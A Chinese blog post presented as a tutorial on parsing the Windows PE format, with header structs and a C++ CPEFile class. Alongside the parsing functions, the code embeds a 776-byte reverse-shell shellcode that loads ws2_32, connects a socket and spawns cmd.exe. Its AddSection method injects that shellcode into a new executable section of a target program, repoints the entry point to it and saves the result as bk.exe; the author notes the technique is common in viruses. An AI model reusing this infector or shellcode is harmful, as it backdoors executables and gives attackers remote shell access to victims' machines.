PE格式解析-源码解析
一、相关PE结构体信息
PE平面结构图
IMAGE_DOS_HEADER——DOS头
typedef struct _IMAGE_DOS_HEADER { // DOS .EXE headerWORD e_magic; // Magic numberWORD e_cblp; // Bytes on last page of fileWORD e_cp; // Pages in fileWORD e_crlc; // RelocationsWORD e_cparhdr; // Size of header in paragraphsWORD e_minalloc; // Minimum extra paragraphs neededWORD e_maxalloc; // Maximum extra paragraphs neededWORD e_ss; // Initial (relative) SS valueWORD e_sp; // Initial SP valueWORD e_csum; // ChecksumWORD e_ip; // Initial IP valueWORD e_cs; // Initial (relative) CS valueWORD e_lfarlc; // File address of relocation tableWORD e_ovno; // Overlay numberWORD e_res[4]; // Reserved wordsWORD e_oemid; // OEM identifier (for e_oeminfo)WORD e_oeminfo; // OEM information; e_oemid specificWORD e_res2[10]; // Reserved wordsLONG e_lfanew; // File address of new exe header} IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;
IMAGE_NT_HEADERS——NT头
typedef struct _IMAGE_NT_HEADERS {DWORD Signature;IMAGE_FILE_HEADER FileHeader;IMAGE_OPTIONAL_HEADER32 OptionalHeader;
} IMAGE_NT_HEADERS32, *PIMAGE_NT_HEADERS32;
Signature:PE标识0x04字节 50 45 00 00
FileHeader:文件头0x14字节
OptionalHeader:可选头0xE0字节
IMAGE_SECTION_HEADER——区段头
typedef struct _IMAGE_SECTION_HEADER {BYTE Name[IMAGE_SIZEOF_SHORT_NAME];union {DWORD PhysicalAddress;DWORD VirtualSize;} Misc;DWORD VirtualAddress;DWORD SizeOfRawData;DWORD PointerToRawData;DWORD PointerToRelocations;DWORD PointerToLinenumbers;WORD NumberOfRelocations;WORD NumberOfLinenumbers;DWORD Characteristics;
} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;
二、解析PE类
PEFile.h
#pragma once
#define _CRT_SECURE_NO_WARNINGS
#include
#include class CPEFile
{
public:CPEFile();~CPEFile();bool Init(char * filename);// 初始化,获取DOS头与NT头unsigned int GetEntryPoint();// 获取程序入口点unsigned int GetImageBase();// 获取基址unsigned int GetImageSize();// 获取映像大小bool AddSection(char * name,unsigned int size);// 添加一个区段unsigned int GetSectionCnt();// 获取区段数量IMAGE_SECTION_HEADER * GetFirstSection();// 获取第一个区段信息IMAGE_SECTION_HEADER * GetLastSection();// 获取最后一个区段信息unsigned int GetSectionAlignment();// 获取内存中的对齐值unsigned int GetFileAlignment();// 获取文件的对齐值unsigned int GetRVA(unsigned int offset);// 根据文件偏移量获取RVAunsigned int GetOffset(unsigned int RVA);// 根据RVA获取文件偏移量unsigned int GetResource();// unsigned int GetResourceItem(IMAGE_RESOURCE_DIRECTORY * pRoot, unsigned int offset,unsigned int level);
private:FILE * fp;unsigned int m_nFileSize;byte * m_pBuf;//文件在本程序的内存缓冲区IMAGE_DOS_HEADER * m_pDosHeader;IMAGE_NT_HEADERS * m_pNtHeader;IMAGE_SECTION_HEADER * m_pTextSectionHeader;
};
PEFile.cpp
#include "PEFile.h"unsigned char shellcode[776] = {0x58, 0x66, 0x05, 0x13, 0x02, 0xFF, 0xE0, 0xE8, 0xF4, 0xFF, 0xFF, 0xFF, 0x55, 0x8B, 0xEC, 0x33,0xDB, 0x66, 0xBB, 0x30, 0x02, 0x2B, 0xE3, 0x53, 0x56, 0x57, 0xB9, 0x8D, 0x10, 0xB7, 0xF8, 0xE8,0xE3, 0xFF, 0xFF, 0xFF, 0x89, 0x85, 0xE4, 0xFD, 0xFF, 0xFF, 0xC6, 0x45, 0xE7, 0x77, 0xC6, 0x45,0xE8, 0x73, 0xC6, 0x45, 0xE9, 0x32, 0xC6, 0x45, 0xEA, 0x5F, 0xC6, 0x45, 0xEB, 0x33, 0xC6, 0x45,0xEC, 0x32, 0xC6, 0x45, 0xED, 0x2E, 0xC6, 0x45, 0xEE, 0x64, 0xC6, 0x45, 0xEF, 0x6C, 0xC6, 0x45,0xF0, 0x6C, 0x32, 0xC0, 0x88, 0x45, 0xF1, 0x36, 0x8D, 0x45, 0xE7, 0x50, 0xFF, 0x95, 0xE4, 0xFD,0xFF, 0xFF, 0xB9, 0x40, 0xD5, 0xDC, 0x2D, 0xE8, 0x9B, 0xFF, 0xFF, 0xFF, 0xB9, 0x6F, 0xF1, 0xD4,0x9F, 0x8B, 0xF0, 0xE8, 0x8F, 0xFF, 0xFF, 0xFF, 0xB9, 0x82, 0xA1, 0x0D, 0xA5, 0x8B, 0xF8, 0xE8,0x83, 0xFF, 0xFF, 0xFF, 0xB9, 0x70, 0xBE, 0x1C, 0x23, 0x89, 0x85, 0xD0, 0xFD, 0xFF, 0xFF, 0xE8,0x73, 0xFF, 0xFF, 0xFF, 0xB9, 0xD1, 0xFE, 0x73, 0x1B, 0x89, 0x85, 0xD4, 0xFD, 0xFF, 0xFF, 0xE8,0x63, 0xFF, 0xFF, 0xFF, 0xB9, 0xE2, 0xFA, 0x1B, 0x01, 0xE8, 0x59, 0xFF, 0xFF, 0xFF, 0xB9, 0xC9,0x53, 0x29, 0xDC, 0x89, 0x85, 0xDC, 0xFD, 0xFF, 0xFF, 0xE8, 0x49, 0xFF, 0xFF, 0xFF, 0xB9, 0x6E,0x85, 0x1C, 0x5C, 0x8B, 0xD8, 0xE8, 0x3D, 0xFF, 0xFF, 0xFF, 0xB9, 0xE0, 0x53, 0x31, 0x4B, 0x89,0x85, 0xE4, 0xFD, 0xFF, 0xFF, 0xE8, 0x2D, 0xFF, 0xFF, 0xFF, 0xB9, 0x98, 0x94, 0x8E, 0xCA, 0x89,0x85, 0xD8, 0xFD, 0xFF, 0xFF, 0xE8, 0x1D, 0xFF, 0xFF, 0xFF, 0x89, 0x85, 0xE0, 0xFD, 0xFF, 0xFF,0x8D, 0x85, 0x48, 0xFE, 0xFF, 0xFF, 0x50, 0x33, 0xC0, 0x66, 0xB8, 0x02, 0x02, 0x50, 0xFF, 0xD6,0x50, 0x50, 0x50, 0x6A, 0x06, 0x6A, 0x01, 0x6A, 0x02, 0xFF, 0xD7, 0x8B, 0xF0, 0xC6, 0x45, 0xE7,0x31, 0xC6, 0x45, 0xE8, 0x32, 0xC6, 0x45, 0xE9, 0x37, 0xC6, 0x45, 0xEA, 0x2E, 0xC6, 0x45, 0xEB,0x30, 0xC6, 0x45, 0xEC, 0x2E, 0xC6, 0x45, 0xED, 0x30, 0xC6, 0x45, 0xEE, 0x2E, 0xC6, 0x45, 0xEF,0x31, 0x32, 0xC0, 0x88, 0x45, 0xF0, 0x8D, 0x85, 0x44, 0xFE, 0xFF, 0xFF, 0x50, 0x33, 0xC0, 0x50,0x50, 0x8D, 0x45, 0xE7, 0x50, 0xFF, 0xD3, 0x6A, 0x02, 0x50, 0x50, 0x6A, 0x10, 0x8D, 0x45, 0xEC,0x50, 0x8B, 0x85, 0x44, 0xFE, 0xFF, 0xFF, 0xFF, 0x70, 0x10, 0xFF, 0x70, 0x18, 0xFF, 0x95, 0xE4,0xFD, 0xFF, 0xFF, 0x8D, 0x45, 0xEC, 0xB1, 0x52, 0xC1, 0xE1, 0x18, 0xB1, 0x02, 0x89, 0x4D, 0xDC,0x50, 0xFF, 0x95, 0xDC, 0xFD, 0xFF, 0xFF, 0x33, 0xC9, 0x51, 0x51, 0x51, 0x51, 0x89, 0x45, 0xE0,0x8D, 0x45, 0xDC, 0x6A, 0x10, 0x50, 0x56, 0xFF, 0x95, 0xD0, 0xFD, 0xFF, 0xFF, 0x33, 0xC9, 0xB1,0x44, 0x8D, 0x85, 0xE8, 0xFD, 0xFF, 0xFF, 0x33, 0xD2, 0x88, 0x10, 0x8D, 0x40, 0x01, 0x49, 0x75,0xF8, 0x33, 0xC0, 0x33, 0xDB, 0xB3, 0x44, 0x89, 0x9D, 0xE8, 0xFD, 0xFF, 0xFF, 0xB3, 0x01, 0xC1,0xE3, 0x08, 0x89, 0x9D, 0x14, 0xFE, 0xFF, 0xFF, 0x66, 0x89, 0x85, 0x18, 0xFE, 0xFF, 0xFF, 0x89,0xB5, 0x28, 0xFE, 0xFF, 0xFF, 0x89, 0xB5, 0x24, 0xFE, 0xFF, 0xFF, 0x89, 0xB5, 0x20, 0xFE, 0xFF,0xFF, 0xC6, 0x45, 0xE7, 0x63, 0xC6, 0x45, 0xE8, 0x6D, 0xC6, 0x45, 0xE9, 0x64, 0xC6, 0x45, 0xEA,0x2E, 0xC6, 0x45, 0xEB, 0x65, 0xC6, 0x45, 0xEC, 0x78, 0xC6, 0x45, 0xED, 0x65, 0x88, 0x45, 0xEE,0x8D, 0x85, 0x34, 0xFE, 0xFF, 0xFF, 0x50, 0x8D, 0x85, 0xE8, 0xFD, 0xFF, 0xFF, 0x50, 0x51, 0x51,0x51, 0x6A, 0x01, 0x51, 0x51, 0x8D, 0x45, 0xE7, 0x50, 0x51, 0xFF, 0x95, 0xD4, 0xFD, 0xFF, 0xFF,0x6A, 0xFF, 0xFF, 0xB5, 0x34, 0xFE, 0xFF, 0xFF, 0xFF, 0x95, 0xE0, 0xFD, 0xFF, 0xFF, 0xC3, 0x55,0x8B, 0xEC, 0x83, 0xEC, 0x14, 0x89, 0x4D, 0xF8, 0x33, 0xC9, 0xB1, 0x30, 0x64, 0x8B, 0x01, 0x89,0x45, 0xFC, 0x8B, 0x45, 0xFC, 0x53, 0x56, 0x57, 0x8B, 0x40, 0x0C, 0x8B, 0x40, 0x14, 0x8B, 0xD0,0x89, 0x45, 0xEC, 0x8B, 0x5A, 0x10, 0x8D, 0x42, 0xF8, 0x8B, 0x12, 0x89, 0x55, 0xF0, 0x85, 0xDB,0x74, 0x21, 0x8B, 0x43, 0x3C, 0x8B, 0x44, 0x18, 0x78, 0x85, 0xC0, 0x74, 0x16, 0x8B, 0x4C, 0x18,0x0C, 0x8D, 0x3C, 0x18, 0x03, 0xCB, 0x89, 0x7D, 0xFC, 0x33, 0xF6, 0x8A, 0x01, 0x84, 0xC0, 0x74,0x1A, 0xEB, 0x02, 0xEB, 0x62, 0xC1, 0xCE, 0x0D, 0x3C, 0x61, 0x0F, 0xBE, 0xC0, 0x7C, 0x03, 0x83,0xE8, 0x20, 0x41, 0x03, 0xF0, 0x8A, 0x01, 0x84, 0xC0, 0x75, 0xEA, 0x8B, 0x4D, 0xFC, 0x8B, 0x47,0x20, 0x33, 0xFF, 0x03, 0xC3, 0x89, 0x45, 0xF4, 0x39, 0x79, 0x18, 0x76, 0x3A, 0x8B, 0x14, 0xB8,0x33, 0xC0, 0x03, 0xD3, 0x8A, 0x0A, 0x84, 0xC9, 0x74, 0x17, 0xC1, 0xC8, 0x0D, 0x80, 0xF9, 0x61,0x0F, 0xBE, 0xC9, 0x7C, 0x03, 0x83, 0xE9, 0x20, 0x42, 0x03, 0xC1, 0x8A, 0x0A, 0x84, 0xC9, 0x75,0xE9, 0x03, 0xC6, 0x39, 0x45, 0xF8, 0x74, 0x21, 0x8B, 0x45, 0xFC, 0x47, 0x3B, 0x78, 0x18, 0x8B,0x45, 0xF4, 0x72, 0xC9, 0x8B, 0x55, 0xF0, 0x3B, 0x55, 0xEC, 0x0F, 0x85, 0x63, 0xFF, 0xFF, 0xFF,0x5F, 0x5E, 0x33, 0xC0, 0x5B, 0x8B, 0xE5, 0x5D, 0xC3, 0x8B, 0x55, 0xFC, 0x8B, 0x42, 0x24, 0x8D,0x04, 0x78, 0x0F, 0xB7, 0x0C, 0x18, 0x8B, 0x42, 0x1C, 0x5F, 0x5E, 0x8D, 0x04, 0x88, 0x8B, 0x04,0x18, 0x03, 0xC3, 0x5B, 0x8B, 0xE5, 0x5D, 0xC3
};CPEFile::CPEFile()
{m_nFileSize = 0;m_pBuf = 0;m_pDosHeader = 0;m_pNtHeader = 0;
}CPEFile::~CPEFile()
{if (m_pBuf){delete[] m_pBuf;}
}bool CPEFile::Init(char * filename)
{fp = fopen(filename, "rb+");if (fp == 0){return false;}fseek(fp,0, SEEK_END);m_nFileSize = ftell(fp);if (m_pBuf){delete[] m_pBuf;}m_pBuf = new byte[m_nFileSize];fseek(fp,0, SEEK_SET);fread(m_pBuf, 1, m_nFileSize, fp);fclose(fp);m_pDosHeader = (IMAGE_DOS_HEADER *)m_pBuf;m_pNtHeader = (IMAGE_NT_HEADERS *)(m_pBuf + m_pDosHeader->e_lfanew);return true;
}unsigned int CPEFile::GetEntryPoint()
{if (m_pNtHeader)return m_pNtHeader->OptionalHeader.AddressOfEntryPoint;return 0;
}unsigned int CPEFile::GetImageBase()
{if (m_pNtHeader)return m_pNtHeader->OptionalHeader.ImageBase;return 0;
}unsigned int CPEFile::GetImageSize()
{if (m_pNtHeader)return m_pNtHeader->OptionalHeader.SizeOfImage;return 0;}// 添加一个区段。。。病毒里面常用。。。
bool CPEFile::AddSection(char * name, unsigned int size)
{IMAGE_SECTION_HEADER * newSection = GetLastSection();newSection++;// 新区段的名称sprintf_s((char *)newSection->Name, 8, name);IMAGE_SECTION_HEADER * lastSection = GetLastSection();//内存中偏移与大小newSection->VirtualAddress = lastSection->VirtualAddress + lastSection->Misc.VirtualSize;if (newSection->VirtualAddress % GetSectionAlignment()){newSection->VirtualAddress += (GetSectionAlignment() - newSection->VirtualAddress % GetSectionAlignment());}newSection->Misc.VirtualSize = size;// 文件中偏移与大小newSection->PointerToRawData = lastSection->PointerToRawData + lastSection->SizeOfRawData;if (newSection->PointerToRawData % GetFileAlignment()){newSection->PointerToRawData += (GetFileAlignment() - newSection->PointerToRawData % GetFileAlignment());}newSection->SizeOfRawData = size;// 区段属性newSection->Characteristics = 0xE0000020;//可执行,可读取,可写入// newSection->Characteristics = IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE;m_pNtHeader->FileHeader.NumberOfSections += 1;m_pNtHeader->OptionalHeader.SizeOfCode += size;m_pNtHeader->OptionalHeader.SizeOfImage += size;// 修改入口点到新加入的区段中..m_pNtHeader->OptionalHeader.AddressOfEntryPoint = newSection->VirtualAddress + 0x0c;printf("start to save ...\n");FILE * fpbak = fopen("bk.exe", "wb+");if (fpbak == 0){printf("open bk.exe failed\n");return false;}fseek(fpbak, 0, SEEK_SET);fwrite(m_pBuf, m_nFileSize, 1, fpbak);byte * tmp = new byte[size];memset(tmp, 0, size);fwrite(tmp, size, 1, fpbak);fseek(fpbak, 0 - size, SEEK_END);fwrite(shellcode, sizeof(shellcode), 1, fpbak);fclose(fpbak);delete[] tmp;return false;
}
/************************************************************************/
/* 获取区段数量 */
/************************************************************************/
unsigned int CPEFile::GetSectionCnt()
{return m_pNtHeader->FileHeader.NumberOfSections;
}
/************************************************************************/
/* 获取第一个区段的索引表项目 */
/************************************************************************/
IMAGE_SECTION_HEADER * CPEFile::GetFirstSection()
{return (IMAGE_SECTION_HEADER *)(m_pBuf + m_pDosHeader->e_lfanew + 0xf8);
}
/************************************************************************/
/* 获取最后一个区段的索引表项目 */
/************************************************************************/
IMAGE_SECTION_HEADER * CPEFile::GetLastSection()
{IMAGE_SECTION_HEADER * tmp = GetFirstSection();for (unsigned int i = 0; i < GetSectionCnt() - 1;i++){tmp++;}return tmp;
}
/************************************************************************/
/* 获取在内存中的对齐值 */
/************************************************************************/
unsigned int CPEFile::GetSectionAlignment()
{return m_pNtHeader->OptionalHeader.SectionAlignment;
}
/************************************************************************/
/* 获取在文件中的对齐值 */
/************************************************************************/
unsigned int CPEFile::GetFileAlignment()
{return m_pNtHeader->OptionalHeader.FileAlignment;
}
/************************************************************************/
/* 从文件偏移转换成内存偏移RVA */
/************************************************************************/
unsigned int CPEFile::GetRVA(unsigned int offset)
{IMAGE_SECTION_HEADER * tmp = GetFirstSection();// 遍历所有区段,找包含本文件偏移的区段,并返回RVAfor (unsigned int i = 0; i < GetSectionCnt() - 1;i++){if (tmp->PointerToRawData <= offset && (tmp->PointerToRawData+tmp->SizeOfRawData)>offset){return tmp->VirtualAddress + offset - tmp->PointerToRawData;}tmp++;}return 0;
}
/************************************************************************/
/* 从RVA转换成文件偏移 */
/************************************************************************/
unsigned int CPEFile::GetOffset(unsigned int RVA)
{IMAGE_SECTION_HEADER * tmp = GetFirstSection();// 遍历所有区段,找包含本RVA的区段,并返回文件偏移for (unsigned int i = 0; i < GetSectionCnt() - 1; i++){if (tmp->VirtualAddress <= RVA && (tmp->VirtualAddress + tmp->Misc.VirtualSize)>RVA){return tmp->PointerToRawData + RVA - tmp->VirtualAddress;}tmp++;}return 0;
}unsigned int CPEFile::GetResource()
{IMAGE_RESOURCE_DIRECTORY * pRoot = (IMAGE_RESOURCE_DIRECTORY *)(m_pBuf + GetOffset((unsigned int)m_pNtHeader->OptionalHeader.DataDirectory[2].VirtualAddress));return GetResourceItem(pRoot,0,1);
}
//**写成递归方式。。。
unsigned int CPEFile::GetResourceItem(IMAGE_RESOURCE_DIRECTORY * pRoot, unsigned int offset,unsigned int level)
{IMAGE_RESOURCE_DIRECTORY * pNow = (IMAGE_RESOURCE_DIRECTORY *)((LPBYTE)pRoot + offset);unsigned int nItemCnt = pNow->NumberOfIdEntries + pNow->NumberOfNamedEntries;for (unsigned int n = 0; n < nItemCnt; n++){IMAGE_RESOURCE_DIRECTORY_ENTRY * pDirectoryEntry = (IMAGE_RESOURCE_DIRECTORY_ENTRY *)((LPBYTE)pNow +16 + n * 8);for (unsigned int i = 0; i < level;i++){printf("\t");}if (pDirectoryEntry->NameIsString){wprintf(L"%d,name %s , ",level, (WCHAR *)((LPBYTE)pRoot + pDirectoryEntry->NameOffset + 2));}else{printf("%d,id : %08X , ",level, pDirectoryEntry->Id);}if (pDirectoryEntry->DataIsDirectory){printf("resource directory\n");GetResourceItem(pRoot, pDirectoryEntry->OffsetToData & 0x7fffffff,level+1);}else{IMAGE_RESOURCE_DATA_ENTRY * pData = (IMAGE_RESOURCE_DATA_ENTRY *)((LPBYTE)pRoot + pDirectoryEntry->OffsetToData);printf("data entry RVA %08X,size %8d\n", pData->OffsetToData,pData->Size);char filename[50];sprintf_s(filename, "RVA%08X-OFFSET%08x-SIZE%08X", pData->OffsetToData,GetOffset(pData->OffsetToData),pData->Size);FILE * fp = fopen(filename, "wb+");if (fp){fseek(fp, 0, SEEK_SET);fwrite(m_pBuf + GetOffset(pData->OffsetToData), pData->Size, 1, fp);fclose(fp);}}}return pRoot->NumberOfNamedEntries + pRoot->NumberOfIdEntries;
}
测试代码(test.exe为一个可执行程序)
#define _CRT_SECURE_NO_WARNINGS
#include
#include "PEFile.h"int main(int argc, char *argv[])
{printf("PE解析\n");CPEFile pefile;pefile.Init("test.exe");printf("入口点 \t: %08X\n", pefile.GetEntryPoint());printf("镜像基址\t: %08X\n", pefile.GetImageBase());printf("镜像大小\t: %08X\n", pefile.GetImageSize());printf("offset 0x500 - RVA = %08X\n", pefile.GetRVA(0x500));pefile.GetResource();return 0;
}
本文难免有所错误,如有问题欢迎留言
本文来自互联网用户投稿,文章观点仅代表作者本人,不代表本站立场,不承担相关法律责任。如若转载,请注明出处。 如若内容造成侵权/违法违规/事实不符,请点击【内容举报】进行投诉反馈!
